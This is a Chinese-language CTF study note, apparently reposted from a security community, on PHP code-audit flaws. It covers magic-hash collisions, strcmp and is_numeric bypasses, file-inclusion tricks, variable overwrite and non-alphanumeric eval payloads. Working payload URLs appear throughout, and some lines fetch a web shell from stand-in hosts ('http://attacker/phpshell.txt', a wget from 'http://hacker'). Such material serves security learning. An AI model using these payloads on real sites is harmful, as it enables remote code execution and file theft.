在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。
md5()漏洞 PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
常見的payload有
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
同時MD5不能處理數組,若有以下判斷則可用數組繞過
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2
判斷代碼:
if($v1 != $v2 && md5($v1) == md5($v2))//D0g3某道題
int strcmp(string $str1, string $str2)
參數 str1第一個字符串。str2第二個字符串。如果 str1 小於 str2 返回 < 0;如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
當這個函數接受到了不符合的類型,這個函數將發生錯誤,但是在5.3之前的php中,顯示了報錯的警告信息後,將return 0 !!!! 也就是雖然報了錯,但卻判定其相等了。這對於使用這個函數來做選擇語句中的判斷的代碼來說簡直是一個致命的漏洞,當然,php官方在後面的版本中修復了這個漏洞,使得報錯的時候函數不返回任何值。
<?php
$password=$_GET['password'];
if (strcmp('*****',$password)) {
echo 'NO!';
} else{
echo 'YES!';
}
?>
對於這段代碼,我們能用什麼辦法繞過驗證呢, 只要我們\$_POST[『password』]是一個數組或者一個object即可,但是上一個問題的時候說到過,只能上傳字符串類型,那我們又該如何做呢。
其實php為了可以上傳一個數組,會把結尾帶一對中括號的變量,例如 xxx[]的name(就是$_POST中的key),當作一個名字為xxx的數組構造類似如下的request
POST /login HTTP/1.1
Host: xxx.com
Content-Length: 41
Accept: application/json, text/javascript
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
password[]=admin
include()
require()
include_once()
require_once()
這四個函數會將包含的文件作為php文件解析
_once表示同名文件只引入一次,include在引入不存文件時產生一個警告且腳本還會繼續執行,require則會導致一個致命性錯誤且腳本停止執行。
include()是有條件包含函數,而 require()則是無條件包含函數
include有返回值,而require沒有
理論上來說:include和require後面加不加括號對執行結果沒有區別,但是加上括號效率較低,所以後面能不加括號就不加括號。
可利用的文件包含漏洞條件:
1.include()等函數通過動態變量方式引入需要包含的文件
2.用戶可控制該動態變量
<?php
$file = $_GET['file'];
include $file;
?>
若在同目錄下有phpinfo.txt<? phpinfo; ?> 則訪問:
index.php?file=phpinfo.txt
即可解析文件內容
PHP內核是由C語言實現的,在連接字符串時,0位元組(\x00)將作為字符串結束符。所以可用%00截斷
allow_url_fopen = On
allow_url_include = On 默認為off
需要php.ini中兩個配置均為ON
<?php
if($route == "share"){
require_once $basePath . '/action/m_share.php';
}elseif($route == "sharelink"){
require_once $basePath . '/action/m_sharelink.php';
}
?>
構造url
/?param=http://attacker/phpshell.txt?
可將遠程的shell解析執行,最後一個問號可以起到截斷的作用。
如果有上傳點或者允許用戶上傳文件可以利用,不過比較難找到文件目錄。
php偽協議php://inputallow_url_include = on
payload:
1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>
可以讀取本地文件
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
指定末尾文件,可以讀到base64編碼後的文件內容,ctf中常有題目可讀文件源碼。
PHP歸檔,解壓縮協議
上傳包含任何格式文件shell的壓縮包,再用phar協議解析
index.php?file=phar://shell.zip/phpinfo.txt
index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt
data:條件:
allow_url_fopen = On
allow_url_include = On
index.php?file=data:text/plain,<?php phpinfo(); ?>%00
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
先通過讀取httpd的配置文件httpd.conf,找日誌文件所在目錄
常見日誌文件位置:
../etc/httpd/conf/httpd.conf
/usr/local/apache/conf/http.conf
../apache/logs/error.log
Metasploit有腳本完成自動化攻擊
包含Session要求攻擊者能控制部分Session的內容
常見的php-session存放位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
包含/proc/self/environ 文件index.php?page=../../../../../proc/self/environ
可以看到Web進程運行時的環境變量,其中用戶可以控制部分,比如對User-Agent注入
<?php
system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>
如資料庫文件,緩存文件
繞過姿勢%00截斷
magic_quotes_gpc = off
PHP < 5.3.4
字節長度截斷:最大值Windows下256位元組,Linux下4096位元組
%00截斷目錄遍歷
/var/www/%00
magic_quotes_gpc = off
編碼繞過
%2e%2e%2f ../
..%c0%af ../
%2e%2e%5c ..\
### 防禦方案
在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗
做好文件的權限管理
對危險字符進行過濾等
變量覆蓋漏洞全局變量覆蓋條件:register_globals = ON 4.2.0後默認關閉 5.4.0後已移除
例如bugku某題
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
payload:http://120.24.86.145:8004/index1.php?args=GLOBALS
因為有eval("var_dump($$args);"); 直接用全局變量列印所有字符串即可得到flag
查找"touch"在字符串中第一次出現的位置:
<?php
echo strpos("love is a touch and yet not a touch", "touch")
?>
strpos() 函數查找字符串在另一字符串中第一次出現的位置。
strpos() 函數對大小寫敏感。
該函數是二進位安全的。
strpos(string, find, start) string 和 find 必需,start 可選,規定在何處開始搜索。
stripos() - 查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
strripos() - 查找字符串在另一字符串中最後一次出現的位置(不區分大小寫)
strrpos() - 查找字符串在另一字符串中最後一次出現的位置(區分大小寫)
坑判斷的時候是不能用 != false來判斷的,因為當查找的字符串位置為0 時也會判斷成功
<?php
$a = "stark";
$b = "s";
$c = "k";
var_dump(strpos($a, $b));
var_dump(strpos($a, $c));
var_dump(strpos($a, $b) != false);
var_dump(strpos($a, $b) !== false);
?>
返回結果:
PHP的一個小特性烏雲連結:https://wooyun.shuimugan.com/bug/view?bug_no=64792
當代碼中存在\$_REQUEST['user_id']裡面類似的參數的時候,我們在url上可以這樣a.php?user.id傳參去進行繞過,這樣進去之後也能表示$_REQUEST['user_id']的值,同樣可以繞過的符號還有+,[ 等,應該說是php的一個小特性
安恆月賽 奇怪的恐龍特性
題目源碼:
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
?>
閱讀代碼發現,首先第一步要繞過A_A這個符號,如果出現這個符號他就會顯示A_A,have fun,就不能繼續往下面執行到file_get_contents('flag.php')了,但是我們發送get參數的時候又必須要發送,因此我們就用到剛才的知識點,我們可以用A.A或者是A+A去傳參去繞過。
下面的代碼就是常規的數字繞過了,但這裡也用到了一個trick,就是無論你的數字多大,對於數組而言總是比數組小。
利用數組去繞過$str<9999999999的特性,下面一個判斷是強制轉化為字符串在與數字比較的判斷,這就是平常操作很多的弱類型了,直接讓參數等於admin就可以了,因為「admin」== 0 ,結果是true,直接等於0繞過即可,所以這題的payload
http://101.71.29.5:10007/?A+A[]=admin
安恆九月賽 babybypass
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
根據代碼要求:
1. 長度不能大於35
2. 不能包含大小寫字母,數字,下劃線和$符號
在linux系統中,是支持正則的,某些你忘記某個字符情況下,你可以使用? * %等字符來替代,當然這裡想要執行命令,需要極限的利用這個方法,經過測試:
???/??? => /bin/cat
PHP開啟短標籤即short_open_tag=on時,可以使用<?=$_?>輸出變量
於是讀源碼:
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
長度超出上限,使用通配:
$_=/???/???%20/???/???/????/;?><?=$_?>
正則過濾了$和_,改進為:
?><?=`/???/???%20/???/???/????/*`?>
可以讀到:
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
直接讀flag文件
?><?='/???/???%20/????';?>
另外類似的一道題
道格bypass
<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
相關文章:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
$¥="`{{{"^"?<>/" // _GET
利用${}中的代碼會被執行的特點
${$¥}[¥](${$¥}[¥¥]);
傳參
&¥=Flag
最終payload:
?code=$¥="`{{{"^"?<>/";${$¥}[¥](${$¥}[¥¥]);&¥=Flag
is_numeric繞過極客大挑戰
題目源碼:
<?php
if (isset($_GET['p1'])){
if ($_GET['p1'] > 99999999 && strlen($_GET['p1']) < 9){
echo "111";
if (isset ( $_GET ['p2'] )) {
$p2 = $_GET ['p2'];
if (is_numeric($p2)){
die('Input cannot be a number!!!');
}
else{
switch ($p2) {
case 0 :
break;
case 1 :
break;
case 2 :
echo "flag{xxxxx}";
break;
default :
echo "2333333";
break;
}
}
}
}
}
?>
第一個常見的>999999999,用指數1e9即可繞過
echo 1e9; //1000000000
第二個函數is_numeric()判斷是否為數字,因為PHP的弱類型,將數字後面加上空格或者任意一個字符即可繞過。
<?php
$a = '1';
$b = '1a';
$c = '1 ';
var_dump(is_numeric($a));//true
var_dump(is_numeric($b));//false
var_dump(is_numeric($c));//false
?>
最終payload:
?p1=1e9&p2=2%20
原文來自: 先知社區
原文連結: https://xz.aliyun.com/t/3085
歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!